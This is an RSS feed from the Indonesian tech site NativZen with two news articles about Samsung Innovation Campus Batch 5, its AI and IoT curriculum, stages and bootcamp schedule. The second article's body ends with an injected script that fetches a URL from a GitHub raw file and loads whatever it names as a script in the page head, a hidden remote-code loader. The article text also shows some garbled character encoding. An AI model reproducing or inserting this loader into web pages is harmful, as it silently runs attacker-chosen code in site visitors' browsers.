<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>sic batch 5 &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/sic-batch-5/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Fri, 26 Jul 2024 00:37:33 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>sic batch 5 &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>SIC Batch 5 2023/2024 Ajak Peserta Terampil di Teknologi IoT dan AI</title>
		<link>https://nativzen.com/2024/07/26/sic-batch-5-2023-2024-ajak-peserta-terampil-di-teknologi-iot-dan-ai/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 26 Jul 2024 00:35:33 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[samsung]]></category>
		<category><![CDATA[samsung innovation campus]]></category>
		<category><![CDATA[sic batch 5]]></category>
		<category><![CDATA[teknologi ai]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=10141</guid>

					<description><![CDATA[Career Development Program diberikan kepada peserta Samsung Innovation Campus yang berhasil masuk pada Stage 3 dengan tujuan untuk meningkatkan kesempatan kerja.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Survei mendapati bahwa teknologi AI banyak membantu karyawan di Indonesia dalam menyelesaikan pekerjaannya. Sebanyak 75% karyawan mengatakan akan mendelegasikan sebanyak mungkin pekerjaannya kepada AI untuk meringankan pekerjaan.</p>



<p>Pentingnya teknologi AI ini tidak hanya dirasakan oleh entry level management, tetapi juga di mid-level management. Para manajer dan pemimpin perusahaan setuju bahwa teknologi AI hadir untuk membantu meningkatkan produktivitas dan inovasi mereka.</p>



<p>Menyadari semakin pentingnya keterampilan AI dan sejalan dengan komitmen Samsung untuk turut berkontribusi mencetak talenta digital di Indonesia, Samsung melanjutkan program Samsung Innovation Campus (SIC) Batch 5 2023/2024.</p>



<p>Program ini dihadirkan sebagai bekal para peserta dengan keterampilan Coding &amp; Programming, IoT dan AI. Sebanyak 126 tim (504 peserta) dari 1.000 peserta yang telah melalui babak seleksi akan melanjutkan ke babak ketiga program ini yaitu AI Product Development Bootcamp. </p>



<p>Para peserta ini terdiri dari dua kategori yaitu kategori tingkat menengah atas (SMA, SMK, &amp; MA) dan kategori mahasiswa (D3, D4 &amp; S1), dimana proses pembelajarannya akan berlangsung hingga tanggal 27 Juli 2024.</p>



<p>Seperti tahun-tahun sebelumnya, pada babak ketiga ini, SIC memberikan program tambahan, yaitu Career Development Program mengenai edukasi keterampilan tambahan untuk persiapan kerja mengenai proses perekrutan, sesi wawancara, tes teknis, teknik presentasi dan lainnya, </p>



<p>Program tambahan ini  diharapkan dapat meningkatkan kepercayaan diri para peserta saat masuk ke dunia kerja. Selain itu, Samsung juga mengadakan Digital Portofolio sebagai inisiatif baru yang merupakan galeri virtual untuk menampilkan proyek-proyek dari para lulusan program SIC.</p>



<p>Ennita Pramono, Head of Corporate Citizenship Samsung Electronics Indonesia mengatakan bahwa inisiatif yang dilakukan Samsung dalam mengemas keseluruhan program SIC tahun ini didasari oleh tren teknologi, khususnya AI yang terus berkembang. </p>



<p>“Pemanfaatan AI dalam IoT product development, akan membantu para peserta untuk dapat menciptakan program/aplikasi/produk yang inovatif, dimana berbagai perangkat yang terhubung<br>dengan internet dapat menganalisa data dan membuat keputusan-keputusan,&#8221; ujar Ennita.</p>



<p>Diharapkan oleh Ennita bahwa melalui bootcamp ini, para peserta SIC akan mendapatkan pelatihan untuk mengembangan prototype dari proyek IoT mereka berbasis AI terkini sehingga dapat meningkatkan keterampilan teknologinya untuk memecahkan masalah di sekitar kita.</p>



<p>Dalam stage ke-3 ini, para peserta diberikan pelatihan AI yang diamplifikasi langsung pada proyek-proyek IoT mereka dengan materi AI Amplification (Machine Learning dan Deep Learning) dengan total waktu pembelajaran 140 jam. </p>



<p>Proses pembelajaran berlangsung secara blended-learning, yakni gabungan tatap muka secara online setiap Sabtu selama empat jam dan self-learning melalui fasilitas LMS (Learning Management System). </p>



<p>Sementara pembelajaran self-learning dapat dilakukan oleh semua peserta pada waktu yang mereka tentukan sendiri dengan rekaman pembelajaran tatap muka yang dapat mereka pelajari kapanpun mereka mau. </p>



<p>Melalui AI Product Development Bootcamp, para peserta SIC dilatih untuk terlibat langsung merakit prototype ciptaannya berdasarkan kurikulum Hands-on Prototype Samsung, yang juga dibekali dengan hardware berupa IoT kit lengkap.</p>



<p>Ini terdiri dari micro controller ESP32, breadboard, sensor udara, tactile switches, resistor, dan yang tak kalah penting yaitu seamlessly integrating AI models with IoT devices. Metode pelatihan Hands-on Prototype Samsung ini juga diharapkan dapat meningkatkan keterampilan peserta. </p>



<p>Pada stage 3 ini, para peserta juga dilatih untuk melakukan pengujian atas prototype ciptaannya dengan melibatkan masyarakat melalui product sample yang dicoba langsung oleh beberapa masyarakat yang ikut terlibat sejak awal dilakukan wawancara proyek. </p>



<p>Pada akhirnya, semua komponen ini dirancang untuk mendukung proses pembelajaran dan eksperimen dalam bidang IoT dan membantu siswa dalam mengembangkan prototype berbasis AI, yang memungkinkan para peserta mengimplementasikan solusi inovatif dalam bidang IoT.  </p>



<p>Para peserta Samsung Innovation Campus ini juga dibimbing oleh para mentor berpengalaman yang merupakan ahlinya dari lintas sektor industri. Salah satunya adalah Joshua Phartogi, Lead Mentor of Samsung Innovation Campus Batch 5.</p>



<p>“Para mentor di SIC memiliki segudang pengalaman, salah satunya adalah saya yang sudah enam tahun malang melintang dalam bidang teknologi IoT dan AI. Ilmu dan sertifikasi tidaklah cukup, tambahan pengalaman juga merupakan faktor penting dalam keberhasilan,&#8221; ujar Joshua.</p>



<p>Salah satu contoh dari inovasi yang bethasil diciptakan oleh Joshua adalah “Automated Docking for Service Robots” yang memanfaatkan kamera dan AI via QR Code/Marker untuk memperkirakan lokasi charging station terhadap posisi real-time dan actual robot.  </p>



<p>Joshua juga percaya bahwa peran mentor dapat membantu para peserta SIC, mengatasi berbagai masalah dan tantangan yang muncul. Tujuannya adalah meningkatkan kepercayaan diri para peserta dan membimbing langkah-langkah implementasi pengetahuan serta keterampilannya.</p>



<p>Para peserta, pada babak ketiga ini diwajibkan untuk mengumpulkan tugas-tugas yang diberikan guna penilaian akhir. Kemudian para mentor akan memilih 80 tim terbaik (40 tim dari masing-masing kategori) untuk melaju ke babak semi-final. </p>



<p>Proses seleksi semi-final ini akan dilakukan pada tanggal 29 hingga 31 Juli 2024, dan selanjutnya pengumuman tim/peserta yang masuk ke babak semi-final ini akan diumumkan pada tanggal 1 Agustus 2024.</p>



<p>Proses penjurian dilanjutkan dengan pemilihan 20 tim (10 tim dari masing-masing kategori) yang akan masuk ke babak final. Untuk penjurian babak final ini, akan dilakukan oleh Samsung, KEMENDIKBUD, KEMENAG dan mitra industri dari Samsung untuk memilih juara 1, 2 dan 3.</p>



<p>Menariknya lagi, Samsung Innovation Campus (SIC) Batch 5 2023/2024 ini juga akan memilih pemenang kategori People Choice Award untuk masing-masing kategori peserta SMA setara dan Universitas.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>SIC Batch 5 Punya Kurikulum Baru, Integrasikan AI dan AoT</title>
		<link>https://nativzen.com/2024/02/23/sic-batch-5-punya-kurikulum-baru-integrasikan-ai-dan-aot/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 23 Feb 2024 07:28:08 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[TREN & LIFESTYLE]]></category>
		<category><![CDATA[ai dan iot]]></category>
		<category><![CDATA[samsung]]></category>
		<category><![CDATA[samsung innovation campus]]></category>
		<category><![CDATA[sic batch 5]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=4138</guid>

					<description><![CDATA[Samsung Innovation Campus (SIC) memasuki Batch 5 dan kini hadir dengan kurikulum yang baru, mengintegrasikan AI dan IoT.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Di Indonesia, kecerdasan buatan alias AI semakin populer dan, teknologi terbaru ini terus berkembang pesat. Laporan WriterBuddy menyebutkan bahwa Indonesia masuk ke dalam jajaran negara terbesar ketiga di dunia untuk penggunaan aplikasi AI.</p>



<p>Selama September 2022 hingga Agustus 2023, pengguna internet di Indonesia menghasilkan 1,4 miliar kunjungan ke aplikasi AI atau 5,60 persen dari total trafik. Dengan semakin tingginya penggunaan AI, tentunya akan menimbulkan demand terhadap talenta di bidang ini.</p>



<p>Hal ini menjadi peluang besar bagi anak-anak muda Indonesia sehingga memiliki daya tarik yang besar di pasar kerja. Untuk itulah Samsung konsisten mengadakan program pendidikan yang akan mempersiapkan telanta-talenta digital berketerampilan abad 21. </p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="576" src="https://nativzen.com/wp-content/uploads/2024/02/Photo-2-Infografis-SIC-Batch-5-1024x576.jpeg" alt="" class="wp-image-4141" srcset="https://nativzen.com/wp-content/uploads/2024/02/Photo-2-Infografis-SIC-Batch-5-1024x576.jpeg 1024w, https://nativzen.com/wp-content/uploads/2024/02/Photo-2-Infografis-SIC-Batch-5-300x169.jpeg 300w, https://nativzen.com/wp-content/uploads/2024/02/Photo-2-Infografis-SIC-Batch-5-768x432.jpeg 768w, https://nativzen.com/wp-content/uploads/2024/02/Photo-2-Infografis-SIC-Batch-5-1536x864.jpeg 1536w, https://nativzen.com/wp-content/uploads/2024/02/Photo-2-Infografis-SIC-Batch-5-370x208.jpeg 370w, https://nativzen.com/wp-content/uploads/2024/02/Photo-2-Infografis-SIC-Batch-5-270x152.jpeg 270w, https://nativzen.com/wp-content/uploads/2024/02/Photo-2-Infografis-SIC-Batch-5-570x321.jpeg 570w, https://nativzen.com/wp-content/uploads/2024/02/Photo-2-Infografis-SIC-Batch-5-740x416.jpeg 740w, https://nativzen.com/wp-content/uploads/2024/02/Photo-2-Infografis-SIC-Batch-5.jpeg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Salah satunya adalah program Samsung Innovation Campus (SIC) yang memasuki Batch 5 dan kini hadir dengan kurikulum yang baru, yaitu kurikulum yang mengintegrasikan Kecerdasan Buatan (AI) dan Internet of Things (IoT).</p>



<p>Pengintegrasian AI dan IoT dapat diartikan bahwa berbagai perangkat yang terhubung dengan internet dapat menganalisa data dan membuat keputusan-keputusan, serta bertindak berdasarkan data, tanpa ada campur tangan manusia. </p>



<p>Dengan demikian, terciptalah perangkat yang cerdas yang dapat bekerja secara efektif dan efisien. Kurikulum baru SIC Batch 5 ini terbilang berbeda dari yang pernah ada. Tidak banyak program pembelajaran yang memberikan materi integrasi AI dan IoT. </p>



<p>Ennita Pramono, Head of Corporate Citizenship Samsung Electronics Indonesia, mengatakan kurikulum baru tersebut dirancang sebagai respons atas makin besarnya kebutuhan akan talenta digital yang mengusai kedua teknologi yang sedang hangat di jagad teknologi tersebut.</p>



<p>â€œKedua teknologi ini dapat bersimbiosis dan dapat menghasilkan produk yang akan memberikan manfaat yang besar bagi masyarakat. Keterampilan AI dan IoT inilah yang ingin kami bagikan kepada anak-anak muda Indonesia di SIC tahun ini,&#8221; ucap Ennita. </p>



<p>Di SIC batch sebelum-sebelumnya para peserta diberikan pelatihan IoT dan Coding &amp; Programming. Pada SIC Batch 5, para peserta akan diajarkan bagaimana cara membuat prototype yang terintegerasi AI dan IoT oleh mentor-mentor bersertifikasi internasional.</p>



<p>Prototype yang diciptakan para peserta program SIC Batch 5 akan berbasis AI sebagai otaknya dikombinasikan dengan IoT. Semua peralatan yang diperlukan peserta dalam membuat prototype akan disediakan oleh Samsung. </p>



<p>Program SIC diselenggarakan hampir di seluruh dunia dan sejak 2019, program ini hadir di Indonesia untuk memberikan pelatihan digital bagi generasi masa depan. Pada tahun ini SIC sudah memasuki Batch 5 dan para peserta sudah berada pada fase welcoming program yang dimulai pada 24 Februari 2024. </p>



<p>Fase ini merupakan persiapan untuk memasuki Stage 1 â€“ Pembelajaran Coding &amp; Programming. Pada fase ini SIC akan menggelar kegiatan perkenalan/sosialisasi program berupa enjelasan mengenai program SIC dan tujuannya.</p>



<p>Selain itu, pada fase ini peserta juga akan diberitahukan mengenai materi apa saja yang akan dipelajari, panduan mengerjakan pre-test, peraturan, cara menggunakan Learning Management System (LMS), dan jadwal belajar. </p>



<p>Selanjutnya, pada akhir Stage 1, para peserta akan dibagi-bagi per kelompok dengan jumlah masing-masing kelompok adalah empat peserta. Untuk peserta SMA dan setara pengelompokan sudah dilakukan di awal registrasi.</p>



<p>Sementara untuk peserta mahasiswa, kelompok akan dibagi berdasarkan jumlah anggota. Bagi peserta dari SMA setara akan didampingi oleh guru pendamping. Untuk mahasiswa bisa melaporkan project-nya secara berkala kepada dosen, dan itu dilakukan secara mandiri.</p>



<p>Semua peserta sebelum mengikuti program harus mengerjakan pre-test yang digelar pada 24-29 Februari 2024, agar setiap peserta dapat mengetahui nilai awal sebelum mengikuti program dan berapa peningkatan nilainya setelah mengikuti program melalui post-test pada masing-masing stage pembelajaran. </p>



<p>Mereka diberikan waktu empat hari untuk mengerjakan pre-test. Lalu pada 1 Maret 2024, SIC akan memasuki fase on boarding. Pada fase ini peserta wajib mengumpulkan pre-test setelah itu mendengarkan penjelasan untuk mempersiapkan kelas pertama.</p>



<p>Dilanjutkan perkenalan dengan para mentor, seluruh peserta SIC Batch ini dapat mempertanyakan hal-hal yang terkait dengan persiapan pembelajaran sebelum pelaksanaan kelas pertama pada tanggal 2 Maret 2024. Bagaimana, menarik bukan?</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
